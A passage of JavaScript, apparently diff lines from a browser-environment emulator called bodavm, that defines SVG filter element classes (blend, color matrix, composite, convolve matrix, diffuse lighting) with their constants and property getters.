"SVG_FEBLEND_MODE_COLOR_DODGE", {configurable:false, enumerable:true, writable:false, value:7}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_OVERLAY", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_LIGHTEN", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_DARKEN", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SCREEN", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_MULTIPLY", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_NORMAL", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_LUMINOSITY", {configurable:false, enumerable:true, writable:false, value:16},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR", {configurable:false, enumerable:true, writable:false, value:15},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SATURATION", {configurable:false, enumerable:true, writable:false, value:14},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_HUE", {configurable:false, enumerable:true, writable:false, value:13},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_EXCLUSION", {configurable:false, enumerable:true, writable:false, value:12},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_DIFFERENCE", {configurable:false, enumerable:true, writable:false, value:11},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SOFT_LIGHT", {configurable:false, enumerable:true, writable:false, value:10},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_HARD_LIGHT", {configurable:false, enumerable:true, writable:false, value:9},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR_BURN", {configurable:false, enumerable:true, writable:false, value:8},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_COLOR_DODGE", {configurable:false, enumerable:true, writable:false, value:7},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_OVERLAY", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_LIGHTEN", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_DARKEN", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SCREEN", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_MULTIPLY", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_NORMAL", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "in2", {configurable:true, enumerable:true, get:function in2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "in2_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "mode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "result_get", arguments)}, set:undefined},'prototype'); - -// SVGFEColorMatrixElement对象 -bodavm.memory.globalobj['SVGFEColorMatrixElement'] = function SVGFEColorMatrixElement(){if (!(this instanceof SVGFEColorMatrixElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEColorMatrixElement'], "SVGFEColorMatrixElement"); -bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEColorMatrixElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_LUMINANCETOALPHA", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_HUEROTATE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_SATURATE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_MATRIX", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_LUMINANCETOALPHA", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_HUEROTATE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_SATURATE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_MATRIX", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "values", {configurable:true, enumerable:true, get:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "values_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "result_get", arguments)}, set:undefined},'prototype'); - -// SVGFEComponentTransferElement对象 -bodavm.memory.globalobj['SVGFEComponentTransferElement'] = function SVGFEComponentTransferElement(){if (!(this instanceof SVGFEComponentTransferElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEComponentTransferElement'], "SVGFEComponentTransferElement"); -bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEComponentTransferElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "result_get", arguments)}, set:undefined},'prototype'); - -// SVGFECompositeElement对象 -bodavm.memory.globalobj['SVGFECompositeElement'] = function SVGFECompositeElement(){if (!(this instanceof SVGFECompositeElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFECompositeElement'], "SVGFECompositeElement"); -bodavm.memory.globalobj['SVGFECompositeElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFECompositeElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_ARITHMETIC", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_XOR", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_ATOP", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_OUT", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_IN", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_OVER", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_ARITHMETIC", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_XOR", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_ATOP", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_OUT", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_IN", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_OVER", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "in2", {configurable:true, enumerable:true, get:function in2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "in2_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "operator", {configurable:true, enumerable:true, get:function operator (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "operator_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "k1", {configurable:true, enumerable:true, get:function k1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "k1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "k2", {configurable:true, enumerable:true, get:function k2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "k2_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "k3", {configurable:true, enumerable:true, get:function k3 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "k3_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "k4", {configurable:true, enumerable:true, get:function k4 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "k4_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "result_get", arguments)}, set:undefined},'prototype'); - -// SVGFEConvolveMatrixElement对象 -bodavm.memory.globalobj['SVGFEConvolveMatrixElement'] = function SVGFEConvolveMatrixElement(){if (!(this instanceof SVGFEConvolveMatrixElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEConvolveMatrixElement'], "SVGFEConvolveMatrixElement"); -bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_NONE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_WRAP", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_DUPLICATE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_NONE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_WRAP", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_DUPLICATE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "SVG_EDGEMODE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "orderX", {configurable:true, enumerable:true, get:function orderX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "orderX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "orderY", {configurable:true, enumerable:true, get:function orderY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "orderY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "kernelMatrix", {configurable:true, enumerable:true, get:function kernelMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "kernelMatrix_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "divisor", {configurable:true, enumerable:true, get:function divisor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "divisor_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "bias", {configurable:true, enumerable:true, get:function bias (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "bias_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "targetX", {configurable:true, enumerable:true, get:function targetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "targetX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "targetY", {configurable:true, enumerable:true, get:function targetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "targetY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "edgeMode", {configurable:true, enumerable:true, get:function edgeMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "edgeMode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "kernelUnitLengthX", {configurable:true, enumerable:true, get:function kernelUnitLengthX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "kernelUnitLengthX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "kernelUnitLengthY", {configurable:true, enumerable:true, get:function kernelUnitLengthY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "kernelUnitLengthY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "preserveAlpha", {configurable:true, enumerable:true, get:function preserveAlpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "preserveAlpha_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEConvolveMatrixElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEConvolveMatrixElement'].prototype, "SVGFEConvolveMatrixElement", "result_get", arguments)}, set:undefined},'prototype'); - -// SVGFEDiffuseLightingElement对象 -bodavm.memory.globalobj['SVGFEDiffuseLightingElement'] = function SVGFEDiffuseLightingElement(){if (!(this instanceof SVGFEDiffuseLightingElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEDiffuseLightingElement'], "SVGFEDiffuseLightingElement"); -bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "surfaceScale", {configurable:true, enumerable:true, get:function surfaceScale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "surfaceScale_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "diffuseConstant", {configurable:true, enumerable:true, get:function diffuseConstant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "diffuseConstant_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "kernelUnitLengthX", {configurable:true, enumerable:true, get:function kernelUnitLengthX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "kernelUnitLengthX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "kernelUnitLengthY", {configurable:true, enumerable:true, get:function kernelUnitLengthY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "kernelUnitLengthY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEDiffuseLightingElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEDiffuseLightingElement'].prototype, "SVGFEDiffuseLightingElement", "y_get", arguments)}, 